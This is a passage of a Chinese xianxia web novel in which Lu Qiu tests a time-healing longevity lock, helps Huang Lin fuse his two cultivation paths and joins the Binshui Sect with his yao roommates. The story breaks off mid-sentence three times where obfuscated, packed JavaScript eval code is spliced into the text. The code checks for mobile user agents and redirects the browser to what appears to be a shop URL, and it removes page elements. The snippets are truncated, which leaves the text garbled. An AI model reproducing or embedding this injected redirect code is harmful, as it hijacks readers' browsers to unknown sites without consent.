“你得设计时间。”秋络开口了,她边把桌上干枯的花叶摘掉,边解释道:“只有到了指定时间才会恢复,而且是没有死亡的前提下。” 她拿出一把小刀,让陆秋自己试试。陆秋摩挲着长命锁,脑海中突然就有了使用的方法,他接过小刀,将恢复时间设置在了三息,随后开始记录。他用小刀划过手臂,一道有一指长的伤口没多久就渗出血珠,而在时间规定的一刹那恢复如初。 他捏上手臂原先有伤口的那处,发现真的没有一点痕迹才放下心来,于是又问:“这个得有冷却时间吧?” “你不知道吗?”这下换陆夕月奇怪了:“你的东西你知道啊。” “啊?”陆秋也发出真心实意的疑惑:“我怎么能知道……”他突然停住了,因为长命锁给他传递了下一次使用的信息,此刻时间不仅仅是一个数字,还是空间的跨度,成了一种不可估量的东西。 他试着描述那种感觉,他当下所处的时间变成了一个空间,而前后都变成了模糊的景象,前方貌似还有一块坚硬的空气阻挡他前进,只能随着时间自己向前移动。他这时才明白在长命锁这里,时间也不过是不足为惧的东西。 “说不准,但是到了能用的时候应该能感觉到。”陆秋皱眉,他又问道:“这个原先的主人呢?创造者呢?一定也是位神了。” “创造者的话……”秋络也在回想着:“好像是位神,不过品阶更高,能与天道并行也说不准,至于原先的主人……”她看向陆夕月,小声问:“咱怎么找到这东西的来着?” 11. 翠叶(11) “我记得是一个秘境里,当时你看着这东西好看,想给丝丝做礼物就顺手摸回来了。”陆夕月开始翻账本。其实那个也不能叫做账本,因为账本有进有出,而这个是从不同地方搞来的东西的总集。 他拿过长命锁,放到上面一照就找到了出处,他指着那几行字说:“丝丝五岁的时候咱们去参加雪原秘境找到的,当时你还顺了个钗子。” “我怎么记得这长命锁是拍卖得的呢?”秋络皱眉有点不相信他:“当时花了两万多拍下来的。” “那个是小吊坠,梅花状的玉石。”陆夕月又往前翻,翻到了那个吊坠,底下明显的记录着是在拍卖场拍下的。 “当时抱着丝丝,问他喜不喜欢那块玉,他说喜欢。”秋络慢悠悠说着,还撇看一眼陆秋:“结果现在看都不带看一眼的。” “还不是……不怎么符合审美了。”陆秋摸摸鼻子,有点不好意思,觉得自己确实糟蹋东西,以前那么多好东西都不珍惜,让家族里其他人摸了去。 三人又扯了半天,直到秋络说现在时间不早了,都要中午了,她需要睡午觉时陆秋才想起来自己刚刚说要自创心法的事。他迟疑的拿着长命锁看向陆夕月,陆夕月耸肩:“你想自创就自创,无所谓啊。” 父子俩的心有灵犀貌似就在这一瞬间了,陆秋受到了鼓励立刻挺直腰,笑道:“我怎么会失败呢?” 心法都是人创的,行得通的叫心法,行不通的就淘汰掉,不过是能不能用的区别,原本只需要担忧修炼岔了走火入魔,而现在有了思尘就只用担心心法能不能用了。 陆秋美滋滋的继续翻看那本冰灵根心法,越看越觉得创下这本心法的人可真是厉害,不仅省去了其他心法多余的步骤,还将很多要学习的法术都囊括了进去,节省时间。更重要的是灵活度很高,就像学习剑法般,起初都只是学习招式,后期自然融合贯通,而招式运用真正熟练的人都可以自创剑法。 他试着将冰灵根与火灵根的作用区分开来,再一一对照,不过可惜的是他只有火灵根,冰灵根真正的效用只能借鉴前人所写的书。两天就这么过去了,他天天泡在书房中,偶尔出去指导一下翠叶练剑,不过翠叶也不能叫翠叶了,因为秋络已经为她取了新的名字:江梓淮。 虽然品了半天不知道这到底有什么寓意,但秋络也只是一句话就把人堵回来了:“名字一定要有寓意吗?” 不过黄琳他们知道后倒是有些诧异,在一天午后陆秋在翻典籍时黄琳不知道从哪里蹦了出来,还提出自己有事相求。陆秋站在一旁双手抱在胸前等他开口,只见黄琳从芥子空间掏出了本书,是他们书房没有的,有关于冰灵根的记录。陆秋对于他在调查自己的事有些在意,但还是没表现在面上,他便问:“你想要什么?” “我是鬼妖双修,”黄琳笑着说:“但这两种气息在体内会争夺主导权,无法融合为我所用,所以……”他晃晃手中的书:“若你能帮我将二者融合,此书赠与你。” 见陆秋有点犹豫,他又连忙补充道:“这是我们门派的一位前辈写下的,她就是单一冰灵根,很强的!” 陆秋终于不再犹豫,同意了黄琳的交换条件,不过保险起见还是要签下契约的。 就在两人签契约的时候,江梓淮推开了书房的门,陆秋没什么,结果黄琳像是被吓到般猛地抖了一下,成功引起了陆秋的注意。江梓淮见到二人只是对陆秋行了个礼,然后转向黄琳,面无表情的打招呼:“道友午好。” 陆秋八卦的心立刻被勾起了,他看向黄琳那尴尬的模样,又看向江梓淮冰冷的表情,觉得黄琳指定是做了什么亏心事,而且化解不了的那种。不然就凭着黄琳这张脸再加上那张十分能说的嘴,江梓淮这么大的小姑娘绝对生气不起来。 等江梓淮拿了书出去并轻轻带上门,黄琳松了口气,一口气还没出完呢一转头就看见陆秋眼神中带着戏谑看他,他也没了刚刚的活力,整个人像是蔫了的茄子,有气无力让陆秋签契约。 他不想说不代表陆秋不问,毕竟是人家师妹,自己不说,人家师妹也会说,而且到时候听到的是什么样子还是人家说了算,所以黄琳就把这几天的事都讲出来了。 本来几人相处都还不错的,但晚上睡觉时江梓淮得知三人在一间屋子还是有些不放心的,又提出了让黄琳和自己一屋的建议,她把黄琳当要好的姐妹,黄琳也一直没有反驳,平日也像同性朋友那样相处,直到黄盛一声哥把他拉到了现实中。 然后江梓淮扭头就走,走路姿势甚至都透露着匆忙。黄琳自然不能让她就这么走了,便追了上去,想和她解释清楚,但江梓淮双眼含泪捂住耳朵不听他说话,还把他说了一顿,说什么为什么一开始就不解释自己是男人,为什么还一直骗她,她明明都把黄琳当成要好的朋友了。 陆秋本来觉得是个惊天大八卦,现在听完就变成了小孩子打闹了,他一脸无奈的评价道:“首先,你活该,谁叫你骗人的;其次,她瞎,还容易相信别人,骗这一次是轻的,给她长个教训;最后——”他停顿了一下,又补充道:“就这?” “什么叫就这?这很严重啊!”黄琳反驳道:“我真的蛮喜欢她的,结果这第一步还没迈出去人家就把门关上了。”他双手一合,发出“啪”的一声:“那俩人还都不在意。” 陆秋一个个的回答他:“不严重,而且站在她的角度上我觉得她很对;你喜欢她,喜欢什么?你还给人家埋线,别以为我不知道;那俩人为什么要在意,又不是他们的事。” “可是……” “没有可是,人家才十四。”陆秋真的黑脸了。 听了这话,黄琳似乎也真在反省了,他和陆秋差不多大,比江梓淮只大三岁,但无论是眼界还是经验都不是一个层级的,就像是野生的鸟儿和家雀的区别。 这个时候不能说她小心眼,毕竟她也只认识很少的人,无论怎么样,这件事就是经验老道的男性对从小被圈养起来的女性的欺诈。 陆秋把书翻了几下,确定了这本书有用后开始教黄琳怎么融合气息。二人都是同时修行两种道,黄琳是鬼道与妖道,陆秋是魔道与仙道,虽然有差异,但本质上是一样的。融合主要还是要找到窍门,之后就容易许多,等黄琳融合了大半后,他就决定自己回去再融合剩下的小半部分,结果陆秋这时和陆夕月一样开始贱贱的说:“记得早点去道歉,不然以后人家都要把你拒之门外了。”说完还学黄琳刚才那样双手合上,发出一模一样的声音。 黄琳哭笑不得,他现在可没别的心思了,现在能想的就只有早点办完事早点回去,不然门派又要强行给他们安排任务了。 他只知道陆秋仙道已经是金丹期,还不知道他魔道所处的阶段,于是好奇的提了一嘴:“你魔道到什么级别了?都没感受到你身上除了仙道以外的气息。” “凝元啊。”陆秋有些奇怪的看着他:“我还是比较喜欢均衡发展,至少别拖后腿。” 魔修的等级和仙修是同样的等级划分,陆秋所在的金丹期与凝元期就是一个等级,他本来会有两颗内丹,但两边水平差不多,就导致两次雷劫叠加到一起了。 不过这也算一个捷径,叠加到一起强度怎样不好说,但雷劫次数只有其中一个的,所以这次看似是冲击金丹期,其实是金丹期与凝元期一起提升。 陆秋都被问了,他不反问好像也不好,所以也问黄琳在鬼道是什么等级。 他这么一问,黄琳就来劲了,其实他娘就主修鬼道,自己算个鬼二代,他面上有些不好意思,扭捏的说:“一般般啦,也就是凝魄……” “那确实挺一般的。”陆秋不屑道:“你不会真觉得我不知道吧?” 黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395929|141174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 琳的笑容僵住了,有些心虚的问:“知道什么……” “都觉得凝魄后是归虚,其实中间还有炼魂和锻体,而且魂丹,凝体和凝魄其实相当于金丹期的三个阶段,你个鬼修金丹期装什么分神期大能。” 黄琳彻底乐不起来了,摆摆手说:“我这已经很厉害了,你得知道活人炼成鬼修有多不容易。” “我看你还挺乐观的啊,连我师妹的主意都打。”陆秋开玩笑的说他。 “哎呀,这……”黄琳挠头:“好了不说了,我看你挺忙的,有什么需要就尽管提。” “那暂时没有了。”陆秋耸肩。 不得不说,黄琳确实是有诚意的,至少这本书记录是真详细。陆秋仔细对比着资料,从中挑出共同点写在了笔记上。冰属性的人体温比常人要高,同时更畏寒,所以心法中有保温,调节体温等方法,而历练地和火属性人相同,都是冰原,能从中吸收更多冰元素。 可里面的重复实在太多,陆秋往前一翻,才发现两本书是同一个人写的。不过这些也无所谓,有用就行,他便没在意,只记了这人笔名“空谷”,日后没准还能再找些这人的书来修炼。 “那我是火灵根,我该去极热之地喽?”陆秋抄写着里面吸收元素的咒语,同时手指一勾,把离得较远的那本书勾了过来,发现和平时那些吸收灵气的咒语不一样,不由皱眉又拿了一本,发现和吸收鬼气的还不一样。 如果只有一些不一样,他还可以再慢慢改,结果这三个出来了三个咒语,完全不一样,不管怎么说还是有些沮丧的。结果又翻了几页时,他就看见上面明晃晃的几个大字:“鉴于本人为妖修”。 你是妖修啊!陆秋一拍脑袋,知道自己陷入了固定思维,他只觉得黄琳主要是鬼修,那么前辈也一定是鬼修,却忘了他是以妖修的身份进入的其他门派,那位前辈还不一定是个什么东西呢。 他又去找妖修的资料,在拐角看见躺在地上晒太阳的陆夕月,才突然想起来他爹可是纯正的妖修,这里有现成的妖修,还要什么资料。 他立刻蹲到陆夕月身边,大喊:“爹!” 陆夕月翻了下眼皮,心底咯噔一声,像是意识到了什么不太妙的事情即将发生。正当他慢慢提起警惕时,陆秋双手紧抓他的胳膊,期待的说:“我需要帮助。” 一开始还能说,都是吸收妖气有什么咒语,要在什么特定的条件下,以及妖力怎么提升。但后面就越问越离谱,开始说人类妖修能不能真的变成妖,变成半人的东西,就像鬼修会变鬼那样。 “停停停,你要不要再仔细想想你说的什么东西?”陆夕月紧急喊停,双手使劲揉了几下头发,表情看起来十分痛苦:“这都什么问题啊。” “除了你,我都没见过几个妖修。”陆秋也和他瞪眼,两人就这么瞪了一会,陆夕月咬牙切齿道:“没见过其他妖修?” “对!”陆秋同样咬牙回答。 “好!”陆夕月点头,眯起眼睛不知道在打什么主意。 事实证明,姜还是老的辣,这样和平的日子只过了一个月,陆秋就收到了来自滨水宗的邀请信。 滨水宗是什么地方?妖修的大本营。为什么给他发邀请信?他看了看高兴的瘫在躺椅上的陆夕月,心里就明白了:这家伙为了自己清净,托人找关系让把他送去学习了。 “儿子,你放心,那边连房间都给你分配好了。”陆夕月真正露出了释怀的笑。 一般来说,只要房间安排好,那么一切都不用担心了,陆夕月的人脉够硬,才能让人把事办的这么利索。但陆秋像是要和他爹对着干似的,故意问道:“我去到那里当少爷吗?” “不会!”陆夕月一拍手:“啥也没有,你的身份就是家境贫寒但好学上进的小孩,自己去闯荡吧!” 陆秋悬着的心终于碎了。 12. 端倪(1) 滨水宗在浮海城内,浮海城说是城,其实是一块大陆,而且由于什么修者都有,导致发展特别快,无论是财力还是势力,都是这里明争暗抢的东西。 但相对来说,这里也是极好的发展之地,能学习的东西很多。由于鱼龙混杂,无论种族,几乎都是平等的,导致其他大陆饱受歧视的种族会不断往这里涌来,像是新鲜的血液不停运转。 确实宏伟气派。陆秋下了仙舟对这里的第一印象就是整洁与繁华,房屋几乎都是层层叠起,以白色为主色调,蓝色为辅,画上浪花的模样。 由于是春季,众宗门也在招纳新的修行者,他也只用跟着身上有滨水宗宗徽的人走就能到达目的地。而且在仙舟落地前就有前辈在地上等待,只要出示了邀请信,就有接待者带着前往休息地,等到人数差不多时开启传送阵离开。 陆秋是第一班到达浮海城的人,所以在接引处等了不少时间,为了让自己看起来更像是普通家族的弟子,他特意穿的朴素了许多:简单的墨绿圆领骑射服,搭配白裤黑靴,连玉佩也换成了不起眼的梅花环。但是衣服上的暗纹确实遮不了,因为平时再简单的衣服他都要有内涵的款式,能不带惹眼的印花已经是他最大的退让了。 人靠衣裳马靠鞍,但有的仅是看脸就能让衣服成为不起眼的陪衬。招待的师姐远远就看见一个少年向自己走了过来,那少年长相端正,鼻梁高挺,一对瑞凤眼中浅紫的眸子在阳光的照射下变得透亮,眉尾微微上挑又平添了几分邪气,像是那随风而来,又随风而去,潇洒自由的小神仙。 她看的有些呆了,当目光移到陆秋手中的邀请信,不知为什么突然松了口气,心里默默想到:这要是合欢宗的弟子,只怕又得有不少人遭殃。 她毕竟是年纪较长的弟子,自然不会是那种仅是见了个面就被迷住的类型,于是便摆出客套的微笑和十足的热情,告诉陆秋休息处还有招待的弟子,可以先去找他们聊聊,然后手向旁边一伸,示意他往那边去。 陆秋没拿行李,毕竟他这个年纪能收到邀请信,多少都是有一定实力的,无论财力如何,一个芥子空间绝对会有。宗门招生除了凡人,还有散修,为了争夺更多的资源来壮大自己的势力,有能力但没有参加门派的修者几乎都会受到邀请,可能还不止一个门派。 其实也没什么可聊的,因为招待者的态度并不一定好,无论是对新人还是对其他的人,都有一种高高在上的感觉。毕竟他们是先来者,在自己的地盘上就要有主人的姿态,自己太热情貌似有损自家宗门的清高形象。 好像无论是魔修妖修还是仙修,大家都是一样的。他本以为妖修会比仙修更加热情一些,但从事实上来看都是一个样子,有看不起人的,也有热情的拉着谁都聊的。 比如仅在一柱香之内他就听一位师兄倒豆子般把现在滨水宗的情况全翻了一遍,有前辈的爱恨情仇,和别的宗门勾心斗角,还有不少鸡毛蒜皮的小事被讲的十分有趣,如果这位师兄能去茶楼说书,没准能成茶楼的销冠。 在师姐开启传送阵的时候他甚至还有些想听这八卦师兄讲宗门八卦,但是一到目的地八卦师兄就一溜烟跑去吃饭了,看着他狂奔的背影,又听见后方一句小小的赞叹:“这位师兄跑的好快啊!” 这不是正常速度吗?陆秋向后看去,发现是年龄很小的新生,便也觉得不奇怪了。他通过这张纸从主楼底下换到了一个信封,里面装着房间号码和开启密令,以及一封致新生的信件。他拆开号码,发现房间是在主楼的西北处,准确来说是在整个滨水宗的西北角。 可以看出这个宗门确实用心,如果地图没有夹在信件里也许会更好。陆秋走了一柱香的时间还没找到目的地,拆信件才发现里面有一张地图时心里可以说是五味杂陈。而自己一贯是遇事不决向右走,现在都走到女宿楼下了。 他看了看地图,发现自己在东南角,不由得更郁闷了。给他说左右完全是可以的,但一说东西南北绝对分不清,虽然以前也吃过这个亏,但没有方向感这一点他至此也没法改掉。 这里还不能御剑飞行。他抬头看向天空,发现有人在飞,又看了一会才发现是几位长老。 原来不能飞是专门针对徒弟的啊。 他又只好慢慢走回去,发现门派中一路上的氛围都不错,至少没有当面骂起来,打起来的。看也看够了,地方也到了,记忆力再好没有用心看也记不下多少事情,即使一路上看了不下十次的房间号,他到了楼下依旧掏出来号码看看自己的房间是哪个。 房间号五一九,他本来以为是五楼的房间,结果抬头一看只有三层楼,又不确定的看了两眼号码牌发现自己没看错。他只好随机走进一栋楼,去问里面的值班人相关信息。 这栋楼较为宽敞,左右都有置物架,上面堆了不少东西,甚至还有不少武器。值班人听到他过来,毛绒绒的头发顶突然动了两下,出现了一对猫耳朵。 陆秋面色平静,其实心脏已经狂跳不止,他平静的询问五一九房间在哪里。值班人很瘦,还是少见的短发,短到可以完整的露出脖子。他看了一眼号码牌,说话都透露着一丝慵懒:“这是三号楼,你在五号楼。” “五号楼的几楼?”陆秋又问。 “一楼,第九个房间,就是最里面的那间。” 他的鼻子动了动,突然问他:“你认识那两个黄鼠狼?” “黄鼠狼?”陆秋不记得自己还和哪两个妖修走的近。 “黄琳,黄盛。”他补充道:“两个黄鼠狼。” “他们不是人吗?”陆秋像是听到什么不可思议的事情,连忙问他更多的消息。 “仙家呗。”值班人又闭眼躺了回去,不再理会他。 陆秋出了三号楼,在大门前发现一旁的墙上有着一个金色的“三”。 这谁能看见啊!他深呼吸平静下来,看见左边有两栋楼,后方又有两栋楼,他猜测左边的两栋是一号与二号,于是信心满满的向后方的楼走去。 过了一会他又回来了,原来后方才是一号与二号楼,而五号楼是在最左边,但凡他再问一句五号楼在哪就不用多跑一趟了。他一边寻思一边进了五号楼,在五号楼值班人的注视下走进去又出来,然后冷着脸问五一九在哪里。 五号楼值班人看着和人一样,但当他从台后探出身时陆秋才看见他下半身是一条蛇尾。如果说刚刚看见值班人有猫耳朵时让人心脏狂跳,那么这个蛇尾可真是让人心脏停止跳动。 不过也没太难为他,这个值班人还详细的给他解释:“这是负一楼,留出来放杂物的,去一楼还得上楼梯。” 陆秋谢过他,离开的时候觉得腿都有些发软,现在已经在心里默默祈祷室友能够是正常的,至少别是看起来就很吓人的那种。 不过好在他的祈祷貌似真的起了作用,当他推开门时,就看见一个栗色头发的少年翘着二郎腿坐在桌前,而上半身则以一种别扭的姿势趴在桌上。 听见房门被打开,那少年立刻转过头来,脸颊两侧的头发突然翘起。仔细看那两侧头发其实是一根根羽毛,他本人看起来就像是小麻雀精。 他站起来,有些兴奋的凑近陆秋,喊到:“你是新入门的妖修吗?没有妖怪特征诶!” 说实话,这么热情的修者属实少见,所以陆秋脸上的忐忑还没换成笑容就被拉了进去,然后被按在椅子上问东问西。 “你是纯人类吗?”那少年眼中充满好奇,期待的等着陆秋回答。 “是……”陆秋又感受到另一道目光落在自己身上,他向里面看去,发现还有一人就静静坐在那里,不说话,不发出声音,直到看见陆秋向自己看来才低下头又看起了书。那少年看陆秋并不抵触自己的热情,便更亲近了一些,急忙介绍道:“我是杜漓,他是褚浣,你叫什么? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“虽然一直没有什么存在感,但还是有一点用的。”他曲起一条腿在椅子上,双手抱着,将下巴放在膝盖处。 “原生弟子?”陆秋没听过这个称谓,不太确定的问:“是只在这里修炼的弟子吗?” “不,是从小就在这里的。”褚浣摇头:“滨水宗也会做一些善事,收留些无家可归的人们,这其中年龄小但有天赋的就可以直接成为宗门弟子,以宗门为家,叫做原生弟子。” 杜漓听了他的话,高兴的问:“那你在这里这么久了,一定认识很多人喽?” 空气陷入死一般的沉寂,褚浣又捂住了脸:“你怎么还骂人呢!” 杜漓笑着的脸僵住了,和陆秋对视不知说些什么好,他疯狂暗示陆秋来打破僵局,陆秋皱眉,安慰别人明显超出了他的能力范围,以前都是别人看他脸色,现在让他看别人脸色实在是难为他。 就听见褚浣颇为伤心的说道:“我从哪里认识这么多人啊,我都不出门的。” “不出去玩吗?”杜漓感到十分惊奇:“那你一天天的在哪里呆着?” “房间里。”褚浣如实回答。 “有什么好玩的吗?”他扫视房间,只在褚浣的柜子上发现了成堆的书,竖着被摆的整整齐齐,但还有许多放不下的,就横着摆在了竖着的书上面。 “看书,修炼。”褚浣也顺着他的目光看去,解释道:“虽然不出去,但外面的世界已经从书中看到了。” “你又没有真的亲眼看过,怎么能知道是怎样的?”栗色的画眉鸟炸毛了,他使劲揉了几下头发,看到陆秋对面的床铺依旧没有人,觉得奇怪:“我们不应该有四个人吗,怎么现在了才只有三个?” 结果褚浣一句话,让他本来还没收下去的毛又一次炸了起来。 “他一直在那里啊。” 13. 端倪(2) 杜漓站在原地,看着褚浣手指所指的方向,僵硬的转头,结果发现从一开始就没人的床上突然多出来了个和男鬼似的人,吓得尖叫一声并连蹦带跳的缩到了陆秋的椅子后面,双手还抓着陆秋的椅子腿,说话也不利索了:“他,他,他从哪来的?” 最后出现的那位盘腿坐在床上,看见杜漓吓成那样,不禁被逗笑了。 他双目细长,虽说长卷发遮住了不少地方,但也能看见上挑的红眼尾,唇珠比陆秋还要明显很多,再加上笑的时候嘴角上扬,看起来比杜漓还像鸟。 不过这时候三人都看着他,再不解释一下恐怕就有某只画眉鸟要吓晕过去了。他憋住笑开始自我介绍:“我是云栖月,来自汾阳南。” “汾阳南?”杜漓还有点怕,哆哆嗦嗦坐到自己的板凳上又变成了好奇小鸟:“你姓云,你是三角区的那个云氏吗?” “是哦。”云栖月点头,又把目光放在陆秋身上:“没听你说起你来自哪里呢。” “我?”陆秋在自己要不要坦白身份的边界衡量了一下,想着反正没有什么影响,就稍稍改了一下说法:“我是余月陆家的弟子。” “只是弟子吗?”云栖月又把目光放在了他食指的储物戒上,无情的拆穿了他:“你是陆家人吧,还是嫡的。” 陆秋起初心里一惊,以为他对陆家十分熟悉,但听到他错误的推测时瞬间松了口气道:“是被收养的,平日里也没什么用处,就被扔出来历练了。” 气氛缓和许多,杜漓又对刚刚云栖月的突然出现起了好奇心,云栖月也很有耐心,两人聊的有来有回,让褚浣也放下了手中的话本听了起来。 “你是怎么进来的?”杜漓刚问完,云栖月就侧身,让他看见了背后几乎与墙纸融为一体的窗户。窗户在床边,而且开的这么低,只比门高了一臂,虽然很怪,但只能说是浮海城的一大特色。 “你什么时候来的?我和陆秋说话的时候你可都没出现的!” “跟在陆秋后面进来的,当时你们只顾着聊天,要不是褚浣说了一句,估计你们现在都发现不了我。”他看似自然,实则对陆秋飞快眨了两下眼睛,又对褚浣笑了笑,只剩杜漓傻傻的相信。 新环境确实很好,至少看起来是这样的。不过等入夜没有多久,就听见有其他修者纷纷回到房间,一路上不仅是吵闹,还有要动手但被阻止的声音。 陆秋又想起来每个楼的值班人,由于疑问太多,就又向褚浣有关于值班人的事情。褚浣看看已经躺在床上睡觉的那两人,低声给他说让他用玉简交流。 陆秋其实早就拿到玉简了,但是怎么用还有待学习,毕竟浮海城的发展不可小觑,只要有几个月不注意,也许就发生天翻地覆的大变化了。他摆弄了几下,玉简立刻散发出微弱的光芒,看他还在不知道怎么用,便翻身下床偷偷移到桌边,两人轻手轻脚激活玉简,又加上了联系方式,结果就在两人搞了许久还没有任何进展的时候听到另一张床上传来了声音。 他们一抬头,就看见云栖月在探头看他们,眼中倒映出自己玉简发出的光。 “换个通信方式?”他也压低声音说话。见两人点头,他下床没有声音,连鞋也不穿就要光脚走过来,由于杜漓睡前没有把鞋摆正,扔的东一只西一只的,导致了云栖月只休息避开他离床前比较近的一只,然后一脚踢上另一只,撞到床头柜的门发出一声闷响。 陆秋连忙弯腰阻止那只鞋再反弹到另一边,而褚浣被这突然的声音吓了一跳,反射性的一脚踢到陆秋坐的椅子,看见弯腰的陆秋因为椅子被掀马上要摔下去,又反应极快的手脚并用拉住了椅子但还是慢了一步。 只见陆秋这么往前一摔,直直抓住了云栖月的腿并把他的腿往后猛带。云栖月上半身还没反应过来下半身就往后去了,导致只能向前扑。但桌子旁边就是杜漓的床,这一扑绝对会压到杜漓身上,就在紧急关头,云栖月仅用几根手指撑在床沿,像是用尽了毕生之力,才以这个诡异的姿势没有摔下去。 但从杜漓鞋子的摆放就能看得出这位并不是什么安静的主,所以这么大动静后,他被吵到了,为了躲避噪音而翻了个身,直接压倒了云栖月强撑着的手指上。 陆秋此时下半身依旧是在椅子上的,但前胸已经严丝合缝的贴在了大腿上,双手不敢松,生怕这一松云栖月就摔自己身上了。同理,抓他椅子的褚浣也不敢松,怕这一松,那两个人都要摔倒。 但压到云栖月手指的杜漓依旧不消停,毕竟有东西硌着,怎么都不会舒服的,于是又翻身翻回去了。三人松了口气,先是云栖月小心翼翼的弯腰站直,然后陆秋松开他的腿,坐直身体平衡椅子,最后确定不会再出什么事的时候褚浣才小心地放开椅子腿。 事实证明,放松警惕太早不是件好事,比如在三人完全松懈下来的下一刻,云栖月踩到了杜漓的另一只拖鞋,然后以谁也没反应过来的速度摔倒了,头还猛地磕到了床沿发出一声巨响。 可能是发生的倒霉事太多,也有可能是磕得头太疼了,陆秋只听“砰”的一声,不知到底是什么声音,就被糊了一脸毛。 好了,这下谁都睡不了了,连坐在另一侧的褚浣都被糊了一嘴的毛,杜漓更是一个应激要坐起来,但像是撞到了什么东西又被重重的拍在了床上。 陆秋下意识要把糊到脸上的东西推开,但伸手一摸却摸到了毛下的肉,而且骨头也十分硌手。 这到底是个什么东西。他又不敢动了,无比后悔白天没有问一句云栖月是个什么妖怪。 杜漓这时率先开始叫唤:“我要闷死了!” 那东西听了这话像是缓过来了,慢慢有了动作,陆秋觉到脸上闷着的东西移走了,窗户也早被这突如其来的变故弄得打开了,只有月光照在云栖月的身上。 如果说杜漓是小画眉成精,那么他本体就是画眉,就算化形没有化好,那他的胳膊也会变成翅膀,而不是像云栖月这样,既有双臂,又有翅膀。很明显,这已经不是普通的妖修了,至少不是传统意义上的妖。 月光洒在他略显凌乱的羽毛上,泛出淡淡的光泽,这下连杜漓都清醒了。几人面面相觑,飞快关上了窗户再将灯点上,不过烛火太暗,褚浣就掏出了几颗夜明珠,把屋子照的像是正午那样亮。 先不说褚浣作为一个普普通通的原生弟子怎么能有这么多夜明珠,他们首先要搞清楚的就是云栖月到底是个什么品种。 他们交换了通信方式,还教杜漓和陆秋怎么使用玉简。毕竟事情是要一件件的来,解决了一开始就要解决的问题,四人也能坐在桌边聊聊了。见三人神态各异的盯着自己的翅膀,云栖月也没有隐瞒,但在他刚要开口的时候杜漓突然出声打断了他:“慢着,我猜猜你是什么种族!” “是姑获鸟吗?”褚浣托腮问道。 “不是。”云栖月摇头。 “金乌?”陆秋刚这么说,又立刻否定了自己:“不,只是羽毛像,还是不一样的。” “是不是……”杜漓貌似知道什么,这时开始犹豫起来:“羽人?” “是羽人。”他这次点头了,神色同样凝重。 陆秋只在书中见过寥寥几笔记载,这现实中还是第一次见,不由得更好奇了,只说羽人是最接近仙人的种族,出生就处在仙道的顶端,那云栖月为何还要来这里修妖道? 杜漓磨磨唧唧的问他:“你……你为什么……会来这里?” 这个问题也是他们想知道的,因为法力高强,羽人是众生都捧在手心里的存在,通常以家族为群体生活,可以说是真正的贵族,养尊处优,而这种脱离了家族的羽人真的少见,常人都无法理解。 “我想体验生活……”云栖月有些不好意思了,那三人的眼神立刻变成了看离皇宫出走的太子,想着怎么会有人放着好日子不过,来外面受苦的。 杜漓这会也不敢说话了,毕竟是血脉上的压制,羽人虽然也算鸟,但终究是仙的级别,不是他一个小鸟可以比的。他这么想着,又多摸了两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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像是为了印证他的想法,云栖月也开口问:“没记错的话,贺祈辰不是男人吗?” 说完这话他突然觉得不太妥当,又给自己加了一句:“不是,我对所有感情都一视同仁,从不歧视。”说完紧张的看看周围三人,有点怕自己说错话。 “是男人,但是……”褚浣眉头皱的更深了,他抬起左手给他们展示戒指,问:“你们看这个怎么样?” “有品位。”陆秋评价。 “价格不菲。”云栖月顺带瞟了一眼褚浣银色的耳坠。 “好看。”杜漓如实回答。 “贺祈辰送的。” 一阵面面相觑后,陆秋不确定的开口:“送储物戒也正常吧,关系极好的朋友是这样的。” “对的,”云栖月连连点头跟着附和:“不要想这么多。” “但是他送我东西的时候总开玩笑说是聘礼来着。”褚浣再一次怀疑。 “你都说了人家是开玩笑说的,放宽心!”杜漓拍拍他的肩,不让他瞎想。 “是这样吗……”褚浣看着很犹豫,貌似在思量着要不要继续说,但陆秋这种八卦的人绝对不会让他藏着不说,有些兴奋又焦急的问:“还有呢?” “他说担心会有别人扰他修行,就让我与他建立一个假关系,说我们是道侣。” 一语出,众人惊,他们刚刚的安慰在这句话前显得格外苍白无力。陆秋听到这消息第一反应是到这里就停吧,再听就不礼貌了,但总不能让现在都格外清醒的几人立刻去睡觉,只能偷偷打量他们的表情。 褚浣看起来有点后悔,毕竟这件事多少有些私密了,那三人不一定能接受。 杜漓平时十分能叭叭的小嘴也说不出来什么话了,只能又羡慕的把手插到云栖月的翅膀中。云栖月翅膀抖了抖,看着都不说话的大家只能让自己成为这个破冰者,于是摆出了领头的风范:“感情的事嘛……谁也不好评价,还得看自己。” 14. 端倪(3) 陆秋也十分有眼力见的点头道:“对,感情也只是一瞬间的事,不用担心。” 褚浣点头,双手抓抓头发,像是放松了许多,这时才让众人看清他头上那小小的圆耳朵。 陆秋第一反应怎么会有熊精,但转念一想哪有这么瘦的熊,紧接着又想到现在是春天,没准是刚冬眠出来……等等,他都成精了还用冬眠吗? 不过唯一让他放心的是:室友至少都是毛茸茸的,没有像值班人那样冰凉还长了鳞片的。这时云栖月扭头突然问他:“你……有仙家吗?” 陆秋听到后第一反应是三号楼值班人说的那样,和黄琳接触久了带上了黄鼠狼的气息,于是他立刻回答:“没有。” “那你是黄皮子吗?”杜漓把脑袋埋在云栖月翅膀下,只剩一双眼盯着他。 “我是人。”他哭笑不得,解释道:“之前有同行在我家住了一段时间,可能就把气息染到我身上了。” 他们已经问了杜漓太多事情,再问也不是很合适,而陆秋又正好想问问其他事情,趁着大家都精神这会正合适。 